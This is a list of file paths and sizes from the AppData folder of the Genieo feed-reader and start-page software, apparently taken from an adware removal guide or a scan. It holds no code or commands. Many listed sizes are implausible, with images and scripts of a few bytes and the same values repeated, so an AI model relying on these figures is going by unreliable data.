C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_ru.properties (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\attention.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\settings.html (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\favorite_site_mask.png (176 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\aggregation.html (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\x.gif (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\all-genieo-sp-pack.js (15168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\share_btn.png (625 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\objectivehot_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\bigHotItemIcon.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\message_note.png (696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\DataProcessor.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-overcast.png (975 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extFirefoxMac1.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\page_arrows.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\ohBg.gif (879 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\layer.html (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\prog_bar_prog.gif (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\upper_border.gif (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-clear-night.png (961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\follow_facebook_btn.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\splash_video_bg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_ru.json (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\round_corners_5px.png (182 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sendFeedbackButton.jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_4.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\prog_bar_prog.gif (141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ie8.css (745 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\item_bg.png (264 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\picFrames.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_application.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\collage\template1.html (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\slideshow.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\constants.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\share_btn.png (553 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\pagelet.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\browser_not_supported.html (125 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\smallGrey.gif (803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\covers.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack2.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\footer_bg.png (121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\older_items_arrow.gif (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sidebar_text_ad_bg.png (564 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\arrow_down.gif (68 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extFinishButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\analytics.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\itemsRotate.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template1_.jpg (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\objectivehot_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\rssButton.png (580 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template3sm.jpg (7192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\hp_guard.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\grad.png (171 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\collage\template2.html (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\google_search_btn.png (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sad.png (971 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\login_facebook_btn.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\jquery.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\bug.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\json.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack3sm.png (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\disabled_nav_next2.gif (90 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\logDbgLoadPhase.js (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\social_connector.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-few-clouds-night.png (965 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\tw.gif (241 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\bg.jpg (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\x.gif (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\set_to_miniview.png (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\grey.gif (817 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\js\utils.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\message_heart.png (765 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_3.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\fbButton.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\share_popup_arrow.png (219 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\personalization_meter_bg.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\utils.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template1.jpg (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\Activators.js (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\noitems.html (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\followbutton.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\logo_icon.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\orig\field_fr.properties (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\icons\thumb_up.png (697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\splash.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\default_image.jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\js\classes.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\signUpButton.png (863 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_main.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\birthday_not_connected_bg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\warning.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\pagging_arrows.png (227 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\icons\bug.png (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\LocationManager.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\notification_ui.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\birthday_cake.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\small_arrow_down.png (192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\share_unfollow.png (849 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extSafariMac.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_5.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\prog_bar.gif (101 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\settings\buttonSp.png (837 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\topic_x.png (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ie7.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\facebook_twitter.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\welcome_home.gif (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\dialogWarning.png (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\core.html (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\google_search_input_logo.png (903 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\follow_twitter_btn.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\message_note.png (696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\footer.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weatherimg.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_ru.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\uninstall\trayapp_uninstall.exe (825 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ru.css (630 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\ok.png (769 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\x_small.png (832 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\css\main.css (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-severe-alert.png (977 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\birthday.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\rss.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template2.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\white.gif (965 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\social_baloon_tip.png (158 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\shadowv.png (939 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extNextButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-snow.png (998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\class.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\syncOnButton.png (566 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\body_bg.png (323 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\box_controls.png (814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_en.json (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\UIState.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\redirect_handler.html (796 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\counter_bg.png (270 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\previewShareDisabled.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\collage\js\collage.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\counter_bg.png (270 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack5.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\big_video_frame.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm1frame3.png (587 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\redSq.png (136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\pagelet_tip_white.png (217 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-storm.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\css\partner.css (930 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_10.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\splash_video.jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\css\notify.css (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\hotItemIcon.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\ajax-loader.gif (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\default.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\orig\field_ru.properties (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\genieo_logo_small.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\x_gray_transparent.png (198 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\facebook_icon.png (432 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\blockTopic.png (137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\notification.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\rss.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\shekerKolshehu.gif (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\shadowh.png (944 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\share_unfollow_old.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-showers-scattered.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\reportBugButton.png (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\button-enable.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\css\main.css (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\medium_image_frame.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_icon12px.png (543 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\ad_no_image.gif (594 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\notification_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\googleimg.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\background.png (386 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\settings\settings_ui.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ie.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\pagelet_tip_yellow.png (206 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\headlines_frame.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_auth_start.png (440 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extChromeMac2.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack3.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\x.gif (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\message_tip.png (154 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-showers.png (959 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_9.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\signUpButton2.png (704 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\js\main.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\noPicture.png (976 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\double_border.png (133 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_en.properties (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\general.css (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\x_btn.png (309 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\css\aggregation_page.css (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\anabel_analytics.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\miniview_ui.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\birthday_no_birthdays_bg.png (883 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tryItNow.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\objectivehot_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\all-genieo-sp-list.txt (837 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_v.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\notification-nodebug.js (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\cakes.png (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\jquery.cookie.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\magazine_ribon.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\test_items.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\hp_guard.html (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_word.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_inner.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\.classpath (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\startpage.css (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm1frame2.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extFirefoxMac2.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\tpl\startpage.tpl (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\parent_proxy.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\js\utils.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\ticker.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\fail.png (658 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extSafariMacEnableExts.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sethpButton2.png (997 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\aggregation_page.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\fbButton.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\index.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\popup_bg.png (121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\facebook_icon12px.png (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\settings\anabel_settings.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\box_collapse.png (154 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\blank.html (1 bytes)
